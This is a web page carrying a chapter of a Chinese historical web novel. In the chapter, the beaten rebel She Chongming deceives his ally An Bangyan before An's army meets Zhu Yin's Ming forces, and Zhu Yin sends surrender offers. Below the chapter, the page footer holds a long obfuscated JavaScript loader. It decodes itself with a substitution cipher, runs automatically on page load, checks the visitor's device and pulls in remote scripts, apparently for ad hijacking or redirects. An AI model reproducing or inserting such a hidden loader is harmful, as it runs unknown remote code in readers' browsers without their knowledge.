首页
第447章 “朱寅当我是宋江
返回
关灯 护眼:关 字号:小

第447章 “朱寅当我是宋江?封我为王,我就

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    安邦彦看到奢崇明神色狼狈,身后只有一百多骑兵,心中不禁咯噔一声,肃然道:“大舅哥,你莫不是在成都大败了吧?”
    奢崇明悲从中来,眼泪都快要下来了。他何止是大败?是全军覆没啊。
    北上时是四万五千精兵,几乎是永宁奢氏的所有家底。可是跟他逃出成都的只剩三百骑卫,此时身边更是只有一百多骑。
    但奢崇明毕竟是“西南之虎”,向来心机深沉,他岂能不担心一旦安邦彦得知真相,会不会将自己献给朱寅作为请降之礼?
    什么大舅哥,没有了实力,这个妹夫会把自己当回事?妹夫之前对自己尊敬有加,那是因为奢氏的实力,不是妹夫重情重义。
    “妹夫。”奢崇明长叹一声,“我还以为你知道了,原来还不知道啊。”
    “朱寅卑鄙无耻,居然用火器偷袭我,我大意之下才吃了败仗,死了一万多人,剩下的兵马都打散了,紧急之间无法收拢。我已经派人四下去收拢败兵,让他们在彭山汇合,估计还有三万多人。”
    听到奢崇明承认大败,兵马大多被打散,安邦彦心道果然如此。
    奢崇明继续道:“我虽然损失了一万多人,可朱寅也不好受!他也损失了一两万人,只剩下三万人,而且火药也几乎都耗尽了。明军也只是惨胜而已。”
    “哼,要不是他们火器厉害,出乎我意料,朱寅就是惨胜也不可能,根本无法偷袭我,肯定被我打败了。”
    “原来如此!”安邦彦闻言,心中凝重之余,也有点轻视奢崇明了,“看来明军真不是软柿子啊。”
    奢崇明这番话,一句真话、九句假话,安邦彦居然没有怀疑。
    倒不是他有多么信任这个大舅哥,而是他和奢崇明一样,也看不起南方明军的战力。他根本不敢想象,明军能这么快的全歼奢崇明的大军。
    他不认为朱寅有这个能力,也就下意识的相信,奢崇明是大意之下被明军偷袭之后大败的,而且明军虽然惨胜,火药也消耗殆尽。
    换句话说,若是安邦彦对明军有敬畏之心,也不会响应奢崇明造反啊。他既然敢造反,就说明他本就蔑视朱寅。
    奢崇明远比安邦彦奸诈,他当然不会以为,仅靠谎言就能瞒过安邦彦、就能防止安邦彦拿自己降明。
    因为,安邦彦肯定早就派出了斥候北上刺探,自己全军覆没、明军损失很小的消息,很快就会汇报给安邦彦。
    所以,他提前耍了一个花招,派出一百多骑卫,在南下的必经之路上埋伏,劫杀安邦彦的斥候。
    这就是为何,他本来有三百骑卫,如今身边只有一百多骑。
    安邦彦的斥候回归途中被他的骑卫劫杀,真相无法传回,安邦彦和宋万化才会带着五万多联军继续北上,双方才能打起来。
    为了坚定安邦彦的反明决心,奢崇明又咬牙切齿的说道:
    “朱寅就是个卑鄙小人!我其实就是上了他的恶当!此人两面三刀,出尔反尔,比狐狸还要狡猾!”
    “决战之前,他给我写了一封信,劝我效忠朝廷,说既往不咎,还给我封爵,和我约为兄弟,许诺的好处一大堆,说的天花乱坠。我看了他的信,当时有点惭愧了,觉得的确有点对不起朝廷。”
    “所以啊,我就回了一封信,答应归附朝廷。只要朝廷封我为侯,许我世镇川南,我就愿意为王前驱。”
    安邦彦皱眉道:“你答应他了?还是假投降?”
    奢崇明点点头,神色落寞,“我答应了。但我也没有出卖你们啊。我的条件之一就是,朝廷不可追究安氏、宋氏,大家一起封侯。我镇守川南,安氏和宋氏一起镇守贵州。只要朝廷答应,我们愿意做朝廷的忠臣。”
    “本来,我还以为朱寅会讨价还价一番,没想到他一口答应。说让我们三家封侯,世镇故地,撤回所有汉官。大家一起罢兵,免得生灵涂炭、多造杀伤。”
    “我知道,明军已经到成都,再想攻下成都已经很难了,不如像云南沐氏那样,这次起兵就当是和朝廷谈条件。于是,我接到朱寅的承诺信,就准备退兵。一边退兵,一边派出信使南下通知你们。妹夫,你没收到我的信么?”
    “谁知就在我放松警惕之时,朱寅突然下令袭击我军。原来之前的劝降信,竟都是奸计。这卑鄙小人欺我厚道,赢了也是胜之不武!!”
    “什么信?!”安邦彦眉头一跳,“没有收到!”
    “一封都没有收到?”奢崇明也是神色惊讶。
    安邦彦更是惊讶了,“你写给我不止一封信?”
    奢崇明有点生气了,“当然不止一封!通知你是第一封。第二封是被朱寅袭击之后,再次送信提醒你,不要上朱寅的当。两封信啊,我还以为你都知道了。刚才你问我,还觉得你奇怪。”
    安邦彦脸色阴沉,“我一封也没有收到。我给你的信你收到了么?”
    奢崇明摇头,“没有。我一直奇怪,为何迟迟收不到你的信。这么说,不是你没有写信,是信根本没有送到!”
    他当然早就收到了安邦彦的信。可是此时他却说没有收到,撒起谎来眼睛都不眨,毫无心理压力。
    “锦衣卫!”安邦彦冷哼一声,“一定是锦衣卫!朱寅果然狡诈如狐,他一定是在信使通过的必经之路上,埋伏了锦衣卫的鹰犬,劫杀你我的信使、斥候!”
    “难怪我们收不到对方的信,我和宋万化派往成都的斥候,也迟迟不见归来。原来,他们都是半途被劫杀了。”
    “朱寅此人,行事果然卑鄙无耻,惯会偷偷摸摸。汉人百姓居然会崇拜他,真是岂有此理。”
    安邦彦万万想不到,劫杀他斥候的人不是朱寅,而是他这个大舅哥。目的就是防止他投降,让他和明军死磕到底。
    奢崇明一脸庆幸的说道:“幸好我们及时见面,也不算太迟,我亲口告诉你更详细。妹夫,这次北上,你和宋万化一定不要再上朱寅的当,不要重蹈我的覆辙。”
    “朱寅送信也好、劝降也罢,不管说的多好听,不管开出什么条件,全部都是陷阱,根本没有丝毫诚意。他施展阴谋诡计,无非是想用最小的代价灭了我们!朱寅从来就没有想过招抚我们,他要将我们斩尽杀绝!汉人绝不可信!”
    “宋江招安!”安邦彦冷笑道,“当我们爨人没有看过《水浒》?就算没看过书,也看过戏!哼,宋江招安有什么好下场?朝廷不可信,朱寅就是高俅,更不可信!我等绝不当宋江!”
    “说得好!”奢崇明一扬马鞭,“这才是我爨家豪杰!我妹妹没有嫁错人,她嫁的是英雄!”
    “眼下我兵败,士卒还没有收拢,咱们爨家的反明大业,就靠妹夫你扛起来了。只要你能打败朱寅,我永宁也听你的!”
    安邦彦抚胸行礼道:“你永远是我的兄长,可不要这么说啊。咱们是兄弟,一起并肩子上就是了。水西和永宁,本就是一家人,何分彼此。”
    奢崇明竖起大拇指,“好妹夫!好妹夫!我妹子是个有福气的人!”
    安邦彦问道:“朱寅还有多少兵马?”
    奢崇明煞有其事的扳指一算,语气笃定的说道:
    “朱寅毕竟是惨胜,本来兵也不多。被我一消耗,估计眼下能战者也就三万人。而且他是靠诡计、袭击、火器才好不容易赢我,战力其实还不如我军。明军依赖的火器快没有火药了,起码十天半月之内,无法及时补充。”
    “如此说来,眼下的明军,就是最虚弱的?”安邦彦问道,“以大舅哥的意思,我军该加速北上,决一死战?”
    奢崇明点头道:“明军死伤不少,起码要休整十天半月,再等到火药补给送到,才能恢复大半战力。眼下么…他们的火器缺乏火药,士卒又比较疲惫,的确就是最虚弱的时候。”
    “优势在我!”安邦彦闻言更加放心,“朱寅只剩三万兵马能战,最重要的火器还缺火药。可安氏、宋氏两家联军,却有五万三千甲兵!”
    奢崇明肃然道:“妹夫,虽然优势在我,可你也不能大意啊。毕竟朱寅无所不用其极,未必会正大光明的和你决战,肯定会劝降你,挑拨你和宋万化,收买你的部将,瓦解联军,不可不防啊。”
    安邦彦笑道:“大舅哥放心吧,你已经上过一次当,我哪能不多个心眼?我这么容易上当受骗么?”
    奢崇明沉声道:“只要不中计,不管他什么伎俩,一上来就直接决战,他就无计可施了。”
    “妹夫,我和朱寅交过手,很了解明军的战术。我说与你知道…”
    当下,奢崇明一五一十将明军的战术和兵马构成,仔细的和盘托出。这一次,除了故意压低了明军的战力之外,他说的还算真实,的确是有价值的军事情报。
    安邦彦也不是废物,相反此人也是个狠人。虽然还不到三十岁,就已经掌控安氏大权。
    他认真听完奢崇明的情报,思索一下说道:“如此说来,对付明军的法子,最好是全军压上。狮子搏兔亦用全力,不计代价的靠近厮杀,只要短兵相接的肉搏,他们就必败无疑。”
    奢崇明点头,“妹夫说的对。可惜我之前上当,没有采取这个打法。明军就是火器厉害,千万不要一批批的打添油战,而是全部压上,不给他火器从容发射的机会。只要冲到眼前,明军就不堪一击,绝非爨家勇士的敌手。”
    “妹夫,事情都告诉你了,你也知道怎么应对了,咱们暂时别过了。你率军北上,我要赶回永宁再募兵马。”
    安邦彦问道:“你回去后还能募集多少兵马?”
    奢崇明撒谎道:“青壮全部征调,还能募集两万人。有了这两万人,再收拢被打散的败军,怎么也能再凑四万人。”
    其实,成都之战葬送了四万五千人,永宁已经没有多少青壮了,剩下的都是老弱妇孺。留守老巢官寨的兵马只有两三千,再加领地最后一点青壮,只能凑齐五千兵,哪来的两万?
    至于收拢败军,那就是更是扯淡。他的大军在成都死的死、降的降,完全就是全军覆没,并不是被打散,何来败军可收拢?
    可是安邦彦并没有怀疑。毕竟奢崇明乃是西南之虎,一向很强势。他想不到奢崇明一战就输光了本钱,败的如此彻底。
    在他看来,百足之虫死而不僵,奢崇明仍有实力才是最正常的结果。他根本想不到,奢崇明已是穷途末路。
    “好!”安邦彦一挥马鞭,“大舅哥快回永宁再募兵马,然后率兵北上汇合。小弟先行一步,趁着朱寅虚弱,攻打明军!不过…”
    说到这里,安邦彦露出一丝诡谲的笑容,“等小弟打下成都…”
    奢崇明一摆手,“你见外了!你打下成都,成都自然就是你的!不对,你打下成都,整个四川都是你的!”
    安邦彦笑道:“那不是委屈大舅哥了?毕竟是你先起兵打成都,你不怪我和你抢?”
    奢崇明豪气干云的说道:“妹夫,咱们要放眼天下!汉人的江山何止是一个四川?就近也有湖广啊,大丈夫志在千里,何必只盯着川蜀?四川我不和你争夺,我要湖广!”
    安邦彦见到大舅哥如此豪气,更加相信他实力犹存。
    “痛快!”安邦彦道,“不愧是一家人,不说两家话!那小弟打下成都就不客气了。”
    说完对奢崇明道个别,率军匆匆北上。
    他要趁着明军火药补充之前,抢先和朱寅决战!
    奢崇明则是纵马道边山坡,让联军通过。
    三万五千水西安氏大军通过之后,又是一万八千人的水东宋氏大军。两家一前一后,相隔数里。
    勒马山岗的奢崇明,也看到了宋万化。
    水东实力不如水西,出兵只有水西一半,所以宋万化只是联军副帅,以安邦彦为主。
    一张国字脸的宋万化,转头看着道边山坡上的奢崇明,目光惊讶之余,也带着一丝冷漠。
    他不知道奢崇明怎么忽然出现在此,但心中浮起一丝不好的预感。于是,他挥鞭策马上前去见安邦彦,问问安邦彦,奢崇明说了什么。
    奢崇明看着宋万化的背影,神情苦涩无比。
    本来,他的实力不但比水西强,更是比水东强。三家反明大军,他当之无愧的是盟主。
    可是如今,他的实力已经远不如水东宋氏。
    仅靠永宁最后那几千兵马,根本挡不住明军的围剿。若是安氏、宋氏能打败明军,奢氏还有喘息之机。可若是他们也被朱寅打败,奢氏就完了。
    朱寅是绝对不会放过奢氏的,必然会赶尽杀绝。
    若是联军败了,自己该怎么办?
    奢崇明忽然想起来,缅甸大军正在攻打云南,据说势如劈竹,打的沐家和木府节节败退。看样子,缅甸大军多半会吞了云南。若是投靠缅甸,奢氏就有救了。
    这绝对是一条退路!
    想到这里,奢崇明的心情就好了很多。
    “来人!”奢崇明吩咐一个心腹,“你拿寡人令牌,先回永宁,告诉他们立即准备南下云南。青壮、金银、马匹等物,先提前准备好,等候寡人之令。”
    几个心腹领了令牌,立刻打马先行南下。
    “君上。”骑卫统领说道,“君上为何不一起回永宁?这里不能多待啊。”
    奢崇明望着北方成都的方向,目光惆怅无比,“寡人不甘心呐。寡人想在眉州等着,等联军和明军决战。寡人想亲眼看见,朱寅兵败!”
    “咱们先不要回去,就在眉州等着战报。”
    骑卫统领担忧的说道:“安主和宋主,真能打败朱寅?那可是朱寅啊。”
    “不要小看他们。”奢崇明冷笑,“水西兵不是软柿子,那可是硬骨头。咱们之前兵败,其实还是不了解明军,不知敌情。可明军的虚实战术,安邦彦如今已经知道了,不会再犯我军的错误。”
    “而且联军兵多,有五万三千人。就算他们还是败了,明军也会被大大消耗。”
    奢崇明当下决定,就在这个叫瓦屋山的地方歇脚,在官道不远的山麓荒寺住下。
    奢崇明刚在荒寺住下,之前派出去的一百多个骑卫就回来了。
    “启禀君上,安主、宋主派出去的斥候,回来时都被我们劫杀了,应该没有斥候了。”
    奢崇明在佛像的供桌前大马金刀的坐下,问道:“手尾干净么?”
    一人说道:“君上放心,手尾干净的很。安主和宋主,不可能知道是我们做的。”
    奢崇明吩咐道:“你们轮番北上探查,只要两军接触,就即可来报,寡人要观摩此战!”
    ……
    第二天,南下的朱寅大军,终于在简州之南、沱水之西、丹景山之东、三岔湖之北,遇见了北上的叛军!
    双方一照面,斥候一接触,立刻同时吹响号角,前军各自警戒、布防。
    附近的丹景山之上,双方斥候同时登上,居高临下的探查对方军势。
    明军四万多人、叛军五万多人,再加上数以万计的民夫、骡马,数里方圆都是兵马,漫山遍野一般。
    沱水上的江船,三岔湖中的渔船,见到这么大的场面,也赶紧远离战场。
    明军中的巢车之上,朱寅举着岱山产的望远镜,将两三里之外的叛军,看的清清楚楚和。
    关于叛军的情报,他当然早就心知肚明。两家叛军加起来五万三千人,其中骑兵五千,战象两百头。最厉害的是身披铁甲的三千重步兵。水西向来比较富裕,铁甲不在少数。这三千铁甲重步兵,都是最骁勇强悍、和战神签订歃血契约的“死兵”组成。
    其余的叛军,也都是藤甲兵,用毒箭、钩镰枪、长矛,十分擅长山地、丛林作战。
    所以,朱寅探知叛军动向后,根据情报故意控制行军速度,制造和叛军在简州之南遭遇的契机。
    这简直是让叛军无意识的配合自己,选择有利于明军的战场。
    微操大师了。
    因为简州之南这个地方,周围没有山林,只有一座树木稀少、坡度平缓的丹景山,江边和湖边的大片平野,对善于山地、丛林作战的叛军,十分不利。
    而且这里三面是水,击败叛军之后,叛军都难以逃走,更有利于全歼。
    眼见太阳快要落山,朱寅也没有立即攻击的意思,而是就地下令扎营。
    然后,就给安邦彦和宋万化写信劝降。
    这是朱寅的规矩。只要是内战,他必然先劝降。能不战而屈人之兵,他就不会选择血战。毕竟哪怕赢得再漂亮,己方将士们也会有死伤。
    他真心希望,叛军能归降朝廷,效忠大明,然后听从征调去抵抗侵入云南的东吁大军。
    他还是有度量的。只要叛军乖乖投降听调,叛军首领上表请罪,遣子入质,他不吝封侯赏赐,绝不算旧账。
    对安邦彦,他没有什么指望。因为安邦彦顽固不化,投降的可能性很小。但朱寅的信,仍然写的很是诚恳。
    先是堂堂王道。王道之不行,再行王师雷霆之怒!
    水西只要效忠朝廷,你安邦彦就封侯,世袭罔替,再荫一子为男爵。
    你安邦彦也可以到朝廷入职。儿子可入国子监。
    给宋万化的信,朱寅就写的更加诚恳。
    因为水西宋氏在历史上,一直忠于大明。贵州能建省,宋氏功勋卓著。两百多年来,水东宋氏一直在维护朝廷,调停朝廷和水西、播州的矛盾。
    宋氏和安氏、奢氏不同的是,宋氏是汉人土司。
    可是,忠于朝廷两百多年的宋氏,历史上居然响应了奢安之乱,最后导致灭亡。
    朱寅在信中追叙了宋氏祖上对朝廷的功勋,表明朝廷一直记得宋氏的忠心。希望宋万化悬崖勒马,不要让宋氏列祖列宗的忠心为国,毁于一旦。
    只有宋万化助王师剿灭叛军,就封其为侯,再荫一子为男爵。
    并且表示,愿意和宋万化约为兄弟。
    信中还告诉宋万化,奢崇明的大军已经全军覆没,奢崇明仅以身免。让他好自为之,不要错过最后反正的机会。
    与此同时,安邦彦和宋万化也在观察明军。他们没有望远镜这种罕见的“神器”,看不清明军的虚实。但他们能判断出,明军绝对不止三万战兵!
    可是,明军的兵力,肯定没有联军多。
    安邦彦顿时放心不少。
    他打算今日扎营,明日就和明军打一场,探探明军的成色。再看看,明军是不是真的缺乏火药。
    对于奢崇明的话,他现在已经怀疑了。
    明军如果真的缺乏火药,为何还主动南下迎战?不应该是固守成都么?
    太阳刚刚落山,部下就送来了朱寅的信。
    安邦彦打开一看,哈哈大笑道:
    “果然!朱寅就会这一套!又是招安!招抚!”
    “在我大舅哥身上用过的招数,再对我用一次?”
    “还封侯?我堂堂千年水西,在乎他的什么侯爵?国公都不稀罕!异姓王倒是可以考虑,朱寅给的起么?”
    “哈哈哈,朱寅小儿当我是宋江!封我为王,我就效忠朝廷。”
    他的堂兄、大将安宜山笑道:“朱寅这是心里没底,才招降我等。若是他底气足,还会这么小心小意的写信?汉人贵胄向来傲慢,看不起咱们爨人,岂能如此客气?客气就是有鬼。”
    安邦彦点点头,“大哥说的对,就是这个道理。朱寅这是阴谋诡计,咱们切不可上当。”
    “传令!今夜杀肥猪两百头,大飨士卒,明日大破明军!”
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();